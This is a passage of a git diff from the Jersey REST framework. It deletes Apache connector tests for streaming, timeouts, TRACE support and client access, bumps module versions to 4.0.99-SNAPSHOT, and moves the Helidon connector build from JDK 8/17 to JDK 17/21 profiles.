-import jakarta.ws.rs.client.Invocation;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-import jakarta.inject.Singleton;
-
-import org.apache.http.impl.conn.PoolingHttpClientConnectionManager;
-
-import org.glassfish.jersey.apache.connector.ApacheClientProperties;
-import org.glassfish.jersey.apache.connector.ApacheConnectionClosingStrategy;
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.server.ChunkedOutput;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * @author Petr Janouch
- */
-public class StreamingTest extends JerseyTest {
-    private PoolingHttpClientConnectionManager connectionManager;
-
-    /**
-     * Test that a data stream can be terminated from the client side.
-     */
-    @Test
-    public void clientCloseNoTimeoutTest() throws IOException {
-        clientCloseTest(-1);
-    }
-
-    @Test
-    public void clientCloseWithTimeOutTest() throws IOException {
-        clientCloseTest(1_000);
-    }
-
-    /**
-     * Tests that closing a response after completely reading the entity reuses the connection
-     */
-    @Test
-    public void reuseConnectionTest() throws IOException {
-        Response response = target().path("/streamingEndpoint/get").request().get();
-        InputStream is = response.readEntity(InputStream.class);
-        byte[] buf = new byte[8192];
-        is.read(buf);
-        is.close();
-        response.close();
-
-        assertEquals(1, connectionManager.getTotalStats().getAvailable());
-        assertEquals(0, connectionManager.getTotalStats().getLeased());
-    }
-
-    /**
-     * Tests that closing a request without reading the entity does not throw an exception.
-     */
-    @Test
-    public void clientCloseThrowsNoExceptionTest() throws IOException {
-        Response response = target().path("/streamingEndpoint/get").request().get();
-        response.close();
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        connectionManager = new PoolingHttpClientConnectionManager();
-        config.property(ApacheClientProperties.CONNECTION_MANAGER, connectionManager);
-        config.connectorProvider(new ApacheConnectorProvider());
-    }
-
-    @Override
-    protected Application configure() {
-        return new ResourceConfig(StreamingEndpoint.class);
-    }
-
-    /**
-     * Test that a data stream can be terminated from the client side.
-     */
-    private void clientCloseTest(int readTimeout) throws IOException {
-        // start streaming
-        AtomicInteger counter = new AtomicInteger(0);
-        Invocation.Builder builder = target().path("/streamingEndpoint").request();
-        if (readTimeout > -1) {
-            counter.set(1);
-            builder.property(ClientProperties.READ_TIMEOUT, readTimeout);
-            builder.property(ApacheClientProperties.CONNECTION_CLOSING_STRATEGY,
-                    (ApacheConnectionClosingStrategy) (config, request, response, stream) -> {
-                try {
-                    stream.close();
-                } catch (Exception e) {
-                    // timeout, no chunk ending
-                } finally {
-                    counter.set(0);
-                    response.close();
-                }
-            });
-        }
-        InputStream inputStream = builder.get(InputStream.class);
-
-        WebTarget sendTarget = target().path("/streamingEndpoint/send");
-        // trigger sending 'A' to the stream; OK is sent if everything on the server was OK
-        assertEquals("OK", sendTarget.request().get().readEntity(String.class));
-        // check 'A' has been sent
-        assertEquals('A', inputStream.read());
-        // closing the stream should tear down the connection
-        inputStream.close();
-        // trigger sending another 'A' to the stream; it should fail
-        // (indicating that the streaming has been terminated on the server)
-        assertEquals("NOK", sendTarget.request().get().readEntity(String.class));
-        assertEquals(0, counter.get());
-    }
-
-    @Singleton
-    @Path("streamingEndpoint")
-    public static class StreamingEndpoint {
-
-        private final ChunkedOutput<String> output = new ChunkedOutput<>(String.class);
-
-        @GET
-        @Path("send")
-        public String sendEvent() {
-            try {
-                output.write("A");
-            } catch (IOException e) {
-                return "NOK";
-            }
-
-            return "OK";
-        }
-
-        @GET
-        @Produces(MediaType.TEXT_PLAIN)
-        public ChunkedOutput<String> get() {
-            return output;
-        }
-
-        @GET
-        @Path("get")
-        @Produces(MediaType.TEXT_PLAIN)
-        public String getString() {
-            return "OK";
-        }
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/TimeoutTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/TimeoutTest.java
deleted file mode 100644
index 8249bd1..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/TimeoutTest.java
+++ /dev/null
@@ -1,105 +0,0 @@
-/*
- * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector.test;
-
-import java.net.SocketTimeoutException;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.hamcrest.CoreMatchers.instanceOf;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.junit.jupiter.api.Assertions.fail;
-
-/**
- * @author Martin Matula
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class TimeoutTest extends JerseyTest {
-    private static final Logger LOGGER = Logger.getLogger(TimeoutTest.class.getName());
-
-    @Path("/test")
-    public static class TimeoutResource {
-        @GET
-        public String get() {
-            return "GET";
-        }
-
-        @GET
-        @Path("timeout")
-        public String getTimeout() {
-            try {
-                Thread.sleep(2000);
-            } catch (final InterruptedException e) {
-                e.printStackTrace();
-            }
-            return "GET";
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        final ResourceConfig config = new ResourceConfig(TimeoutResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(final ClientConfig config) {
-        config.property(ClientProperties.READ_TIMEOUT, 1000);
-        config.connectorProvider(new ApacheConnectorProvider());
-    }
-
-    @Test
-    public void testFast() {
-        final Response r = target("test").request().get();
-        assertEquals(200, r.getStatus());
-        assertEquals("GET", r.readEntity(String.class));
-    }
-
-    @Test
-    public void testSlow() {
-        try {
-            target("test/timeout").request().get();
-            fail("Timeout expected.");
-        } catch (final ProcessingException e) {
-            assertThat("Unexpected processing exception cause",
-                    e.getCause(), instanceOf(SocketTimeoutException.class));
-        }
-    }
-
-    @Test
-    public void testPerRequestTimeout() {
-        final Response r = target("test/timeout").request()
-                .property(ClientProperties.READ_TIMEOUT, 3000).get();
-        assertEquals(200, r.getStatus());
-        assertEquals("GET", r.readEntity(String.class));
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/TraceSupportTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/TraceSupportTest.java
deleted file mode 100644
index f2563f6..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/TraceSupportTest.java
+++ /dev/null
@@ -1,236 +0,0 @@
-/*
- * Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector.test;
-
-import java.lang.annotation.ElementType;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-import java.lang.annotation.Target;
-import java.util.List;
-import java.util.Map;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.HttpMethod;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.container.ContainerRequestContext;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Request;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.process.Inflector;
-import org.glassfish.jersey.server.ContainerRequest;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.model.Resource;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.junit.jupiter.api.Assertions.fail;
-
-/**
- * This very basic resource showcases support of a HTTP TRACE method,
- * not directly supported by JAX-RS API.
- *
- * @author Marek Potociar
- */
-public class TraceSupportTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(TraceSupportTest.class.getName());
-
-    /**
-     * Programmatic tracing root resource path.
-     */
-    public static final String ROOT_PATH_PROGRAMMATIC = "tracing/programmatic";
-
-    /**
-     * Annotated class-based tracing root resource path.
-     */
-    public static final String ROOT_PATH_ANNOTATED = "tracing/annotated";
-
-    @HttpMethod(TRACE.NAME)
-    @Target(ElementType.METHOD)
-    @Retention(RetentionPolicy.RUNTIME)
-    public @interface TRACE {
-        public static final String NAME = "TRACE";
-    }
-
-    @Path(ROOT_PATH_ANNOTATED)
-    public static class TracingResource {
-
-        @TRACE
-        @Produces("text/plain")
-        public String trace(Request request) {
-            return stringify((ContainerRequest) request);
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(TracingResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        final Resource.Builder resourceBuilder = Resource.builder(ROOT_PATH_PROGRAMMATIC);
-        resourceBuilder.addMethod(TRACE.NAME).handledBy(new Inflector<ContainerRequestContext, Response>() {
-
-            @Override
-            public Response apply(ContainerRequestContext request) {
-                if (request == null) {
-                    return Response.noContent().build();
-                } else {
-                    return Response.ok(stringify((ContainerRequest) request), MediaType.TEXT_PLAIN).build();
-                }
-            }
-        });
-
-        return config.registerResources(resourceBuilder.build());
-
-    }
-
-    private String[] expectedFragmentsProgrammatic = new String[]{
-            "TRACE http://localhost:" + this.getPort() + "/tracing/programmatic"
-    };
-    private String[] expectedFragmentsAnnotated = new String[]{
-            "TRACE http://localhost:" + this.getPort() + "/tracing/annotated"
-    };
-
-    private WebTarget prepareTarget(String path) {
-        final WebTarget target = target();
-        target.register(LoggingFeature.class);
-        return target.path(path);
-    }
-
-    @Test
-    public void testProgrammaticApp() throws Exception {
-        Response response = prepareTarget(ROOT_PATH_PROGRAMMATIC).request("text/plain").method(TRACE.NAME);
-
-        assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
-
-        String responseEntity = response.readEntity(String.class);
-        for (String expectedFragment : expectedFragmentsProgrammatic) {
-            assertTrue(// toLowerCase - http header field names are case insensitive
-                    responseEntity.contains(expectedFragment),
-                    "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
-        }
-    }
-
-    @Test
-    public void testAnnotatedApp() throws Exception {
-        Response response = prepareTarget(ROOT_PATH_ANNOTATED).request("text/plain").method(TRACE.NAME);
-
-        assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
-
-        String responseEntity = response.readEntity(String.class);
-        for (String expectedFragment : expectedFragmentsAnnotated) {
-            assertTrue(// toLowerCase - http header field names are case insensitive
-                    responseEntity.contains(expectedFragment),
-                    "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
-        }
-    }
-
-    @Test
-    public void testTraceWithEntity() throws Exception {
-        _testTraceWithEntity(false, false);
-    }
-
-    @Test
-    public void testAsyncTraceWithEntity() throws Exception {
-        _testTraceWithEntity(true, false);
-    }
-
-    @Test
-    public void testTraceWithEntityApacheConnector() throws Exception {
-        _testTraceWithEntity(false, true);
-    }
-
-    @Test
-    public void testAsyncTraceWithEntityApacheConnector() throws Exception {
-        _testTraceWithEntity(true, true);
-    }
-
-    private void _testTraceWithEntity(final boolean isAsync, final boolean useApacheConnection) throws Exception {
-        try {
-            WebTarget target = useApacheConnection ? getApacheClient().target(target().getUri()) : target();
-            target = target.path(ROOT_PATH_ANNOTATED);
-
-            final Entity<String> entity = Entity.entity("trace", MediaType.WILDCARD_TYPE);
-
-            Response response;
-            if (!isAsync) {
-                response = target.request().method(TRACE.NAME, entity);
-            } else {
-                response = target.request().async().method(TRACE.NAME, entity).get();
-            }
-
-            fail("A TRACE request MUST NOT include an entity. (response=" + response + ")");
-        } catch (Exception e) {
-            // OK
-        }
-    }
-
-    private Client getApacheClient() {
-        return ClientBuilder.newClient(new ClientConfig().connectorProvider(new ApacheConnectorProvider()));
-    }
-
-
-    public static String stringify(ContainerRequest request) {
-        StringBuilder buffer = new StringBuilder();
-
-        printRequestLine(buffer, request);
-        printPrefixedHeaders(buffer, request.getHeaders());
-
-        if (request.hasEntity()) {
-            buffer.append(request.readEntity(String.class)).append("\n");
-        }
-
-        return buffer.toString();
-    }
-
-    private static void printRequestLine(StringBuilder buffer, ContainerRequest request) {
-        buffer.append(request.getMethod()).append(" ").append(request.getUriInfo().getRequestUri().toASCIIString()).append("\n");
-    }
-
-    private static void printPrefixedHeaders(StringBuilder buffer, Map<String, List<String>> headers) {
-        for (Map.Entry<String, List<String>> e : headers.entrySet()) {
-            List<String> val = e.getValue();
-            String header = e.getKey();
-
-            if (val.size() == 1) {
-                buffer.append(header).append(": ").append(val.get(0)).append("\n");
-            } else {
-                StringBuilder sb = new StringBuilder();
-                boolean add = false;
-                for (String s : val) {
-                    if (add) {
-                        sb.append(',');
-                    }
-                    add = true;
-                    sb.append(s);
-                }
-                buffer.append(header).append(": ").append(sb.toString()).append("\n");
-            }
-        }
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/UnderlyingCookieStoreAccessTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/UnderlyingCookieStoreAccessTest.java
deleted file mode 100644
index 98850cf..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/UnderlyingCookieStoreAccessTest.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector.test;
-
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
-import org.glassfish.jersey.client.ClientConfig;
-
-import org.apache.http.client.CookieStore;
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.junit.jupiter.api.Assertions.assertSame;
-
-/**
- * Test of access to the underlying CookieStore instance used by the connector.
- *
- * @author Maksim Mukosey (mmukosey at gmail.com)
- */
-public class UnderlyingCookieStoreAccessTest {
-
-    @Test
-    public void testCookieStoreInstanceAccess() {
-        final Client client = ClientBuilder.newClient(new ClientConfig().connectorProvider(new ApacheConnectorProvider()));
-        final CookieStore csOnClient = ApacheConnectorProvider.getCookieStore(client);
-        // important: the web target instance in this test must be only created AFTER the client has been pre-initialized
-        // (see org.glassfish.jersey.client.Initializable.preInitialize method). This is here achieved by calling the
-        // connector provider's static getCookieStore method above.
-        final WebTarget target = client.target("http://localhost/");
-        final CookieStore csOnTarget = ApacheConnectorProvider.getCookieStore(target);
-
-        assertNotNull(csOnClient, "CookieStore instance set on JerseyClient should not be null.");
-        assertNotNull(csOnTarget, "CookieStore instance set on JerseyWebTarget should not be null.");
-        assertSame(csOnClient, csOnTarget, "CookieStore instance set on JerseyClient should be the same instance as the one "
-                + "set on JerseyWebTarget (provided the target instance has not been further configured).");
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/UnderlyingHttpClientAccessTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/UnderlyingHttpClientAccessTest.java
deleted file mode 100644
index 42ffbd1..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/UnderlyingHttpClientAccessTest.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector.test;
-
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
-import org.glassfish.jersey.client.ClientConfig;
-
-import org.apache.http.client.HttpClient;
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.junit.jupiter.api.Assertions.assertSame;
-
-/**
- * Test of access to the underlying HTTP client instance used by the connector.
- *
- * @author Marek Potociar
- */
-public class UnderlyingHttpClientAccessTest {
-
-    /**
-     * Verifier of JERSEY-2424 fix.
-     */
-    @Test
-    public void testHttpClientInstanceAccess() {
-        final Client client = ClientBuilder.newClient(new ClientConfig().connectorProvider(new ApacheConnectorProvider()));
-        final HttpClient hcOnClient = ApacheConnectorProvider.getHttpClient(client);
-        // important: the web target instance in this test must be only created AFTER the client has been pre-initialized
-        // (see org.glassfish.jersey.client.Initializable.preInitialize method). This is here achieved by calling the
-        // connector provider's static getHttpClient method above.
-        final WebTarget target = client.target("http://localhost/");
-        final HttpClient hcOnTarget = ApacheConnectorProvider.getHttpClient(target);
-
-        assertNotNull(hcOnClient, "HTTP client instance set on JerseyClient should not be null.");
-        assertNotNull(hcOnTarget, "HTTP client instance set on JerseyWebTarget should not be null.");
-        assertSame(hcOnClient, hcOnTarget, "HTTP client instance set on JerseyClient should be the same instance as the one "
-                + "set on JerseyWebTarget (provided the target instance has not been further configured).");
-    }
-}
diff --git a/connectors/apache5-connector/pom.xml b/connectors/apache5-connector/pom.xml
index 0181c22..b6431ee 100644
--- a/connectors/apache5-connector/pom.xml
+++ b/connectors/apache5-connector/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.connectors</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-apache5-connector</artifactId>
diff --git a/connectors/grizzly-connector/pom.xml b/connectors/grizzly-connector/pom.xml
index 5ec9ef8..66ccf73 100644
--- a/connectors/grizzly-connector/pom.xml
+++ b/connectors/grizzly-connector/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.connectors</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-grizzly-connector</artifactId>
diff --git a/connectors/helidon-connector/pom.xml b/connectors/helidon-connector/pom.xml
index 930f8ce..34f9bf6 100644
--- a/connectors/helidon-connector/pom.xml
+++ b/connectors/helidon-connector/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.connectors</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -32,10 +32,10 @@
 
     <properties>
         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
-        <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory>
-        <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory>
-        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
+        <java17.build.outputDirectory>${project.basedir}/target</java17.build.outputDirectory>
         <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
+        <java21.build.outputDirectory>${project.basedir}/target21</java21.build.outputDirectory>
+        <java21.sourceDirectory>${project.basedir}/src/main/java21</java21.sourceDirectory>
         <javadoc.skip>${maven.javadoc.skip}</javadoc.skip>
     </properties>
 
@@ -91,13 +91,13 @@
         <profile>
             <id>HelidonExclude</id>
             <activation>
-                <jdk>[1.8,17)</jdk>
+                <jdk>[17,21)</jdk>
             </activation>
             <properties>
                 <javadoc.skip>true</javadoc.skip>
             </properties>
             <build>
-                <directory>${java8.build.outputDirectory}</directory>
+                <directory>${java17.build.outputDirectory}</directory>
                 <plugins>
                     <plugin>
                         <groupId>org.codehaus.mojo</groupId>
@@ -110,7 +110,7 @@
                                 </goals>
                                 <configuration>
                                     <sources>
-                                        <source>${java8.sourceDirectory}</source>
+                                        <source>${java17.sourceDirectory}</source>
                                     </sources>
                                 </configuration>
                             </execution>
@@ -132,10 +132,10 @@
         <profile>
             <id>HelidonInclude</id>
             <activation>
-                <jdk>[17,)</jdk>
+                <jdk>[21,)</jdk>
             </activation>
             <build>
-                <directory>${java17.build.outputDirectory}</directory>
+                <directory>${java21.build.outputDirectory}</directory>
                 <plugins>
                     <plugin>
                         <groupId>org.codehaus.mojo</groupId>
@@ -148,7 +148,7 @@
                                 </goals>
                                 <configuration>
                                     <sources>
-                                        <source>${java17.sourceDirectory}</source>
+                                        <source>${java21.sourceDirectory}</source>
                                     </sources>
                                 </configuration>
                             </execution>
@@ -158,13 +158,13 @@
             </build>
         </profile>
         <profile>
-            <id>copyJDK17FilesToMultiReleaseJar</id>
+            <id>copyJDK21FilesToMultiReleaseJar</id>
             <activation>
                 <file>
-                    <!-- ${java17.build.outputDirectory} does not work here -->
-                    <exists>target17/classes/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.class</exists>
+                    <!-- ${java21.build.outputDirectory} does not work here -->
+                    <exists>target21/classes/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.class</exists>
                 </file>
-                <jdk>[1.8,17)</jdk>
+                <jdk>[17,21)</jdk>
             </activation>
             <build>
                 <plugins>
@@ -185,16 +185,16 @@
                         <inherited>true</inherited>
                         <executions>
                             <execution>
-                                <id>copy-jdk17-classes</id>
+                                <id>copy-jdk21-classes</id>
                                 <phase>prepare-package</phase>
                                 <goals>
                                     <goal>copy-resources</goal>
                                 </goals>
                                 <configuration>
-                                    <outputDirectory>${java8.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
+                                    <outputDirectory>${java17.build.outputDirectory}/classes/META-INF/versions/21</outputDirectory>
                                     <resources>
                                         <resource>
-                                            <directory>${java17.build.outputDirectory}/classes</directory>
+                                            <directory>${java21.build.outputDirectory}/classes</directory>
                                         </resource>
                                     </resources>
                                 </configuration>
@@ -206,14 +206,14 @@
                         <artifactId>maven-antrun-plugin</artifactId>
                         <executions>
                             <execution>
-                                <id>copy-jdk17-sources</id>
+                                <id>copy-jdk21-sources</id>
                                 <phase>package</phase>
                                 <configuration>
                                     <target>
-                                        <property name="sources-jar" value="${java8.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
+                                        <property name="sources-jar" value="${java17.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
                                         <echo>sources-jar: ${sources-jar}</echo>
                                         <zip destfile="${sources-jar}" update="true">
-                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
+                                            <zipfileset dir="${java21.sourceDirectory}" prefix="META-INF/versions/21"/>
                                         </zip>
                                     </target>
                                 </configuration>
diff --git a/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java b/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java
index 93baa42..7ca77a1 100644
--- a/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java
+++ b/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -15,21 +15,17 @@
  */
 package org.glassfish.jersey.helidon.connector;
 
-import io.helidon.jersey.connector.HelidonProperties;
 import org.glassfish.jersey.internal.util.PropertiesClass;
 
-import io.helidon.config.Config;
-import io.helidon.webclient.WebClient;
-
 /**
- * Configuration options specific to the Client API that utilizes {@code HelidonConnectorProvider}.
+ * Configuration options specific to the Client API that utilizes {@code HelidonConnectorProvider}
  * @since 2.31
  */
 @PropertiesClass
 public final class HelidonClientProperties {
 
     /**
-     * A Helidon {@link Config} instance that is passed to {@link WebClient.Builder#config(Config)} if available
+     * A Helidon {@code Config} instance that is passed to {@code WebClient.Builder#config(Config)} if available.
      */
-    public static final String CONFIG = HelidonProperties.CONFIG;
+    public static final String CONFIG = "jersey.connector.helidon.config";
 }
diff --git a/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java b/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java
index aa1540a..155a54c 100644
--- a/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java
+++ b/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2022, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,8 +16,8 @@
 
 package org.glassfish.jersey.helidon.connector;
 
-import org.glassfish.jersey.Beta;
 import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.client.spi.ConnectorProvider;
 import org.glassfish.jersey.internal.util.JdkVersion;
 
 import jakarta.ws.rs.ProcessingException;
@@ -26,51 +26,17 @@
 import java.io.OutputStream;
 
 /**
- * Provider for Helidon WebClient {@link Connector} that utilizes the Helidon HTTP Client to send and receive
- * HTTP request and responses. JDK 8 is not supported by the Helidon Connector.
- * <p>
- * The following properties are only supported at construction of this class:
- * <ul>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#CONNECT_TIMEOUT}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#FOLLOW_REDIRECTS}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_URI}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_USERNAME}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#READ_TIMEOUT}</li>
- * <li>{@link HelidonClientProperties#CONFIG}</li>
- * </ul>
- * <p>
- * If a {@link org.glassfish.jersey.client.ClientResponse} is obtained and an
- * entity is not read from the response then
- * {@link org.glassfish.jersey.client.ClientResponse#close()} MUST be called
- * after processing the response to release connection-based resources.
- * </p>
- * <p>
- * Client operations are thread safe, the HTTP connection may
- * be shared between different threads.
- * </p>
- * <p>
- * If a response entity is obtained that is an instance of {@link java.io.Closeable}
- * then the instance MUST be closed after processing the entity to release
- * connection-based resources.
- * </p>
- * <p>
- * This connector uses {@link org.glassfish.jersey.client.ClientProperties#OUTBOUND_CONTENT_LENGTH_BUFFER} to buffer the entity
- * written for instance by {@link jakarta.ws.rs.core.StreamingOutput}. Should the buffer be small and
- * {@link jakarta.ws.rs.core.StreamingOutput#write(OutputStream)} be called many times, the performance can drop. The Content-Length
- * or the Content_Encoding header is set by the underlaying Helidon WebClient regardless of the
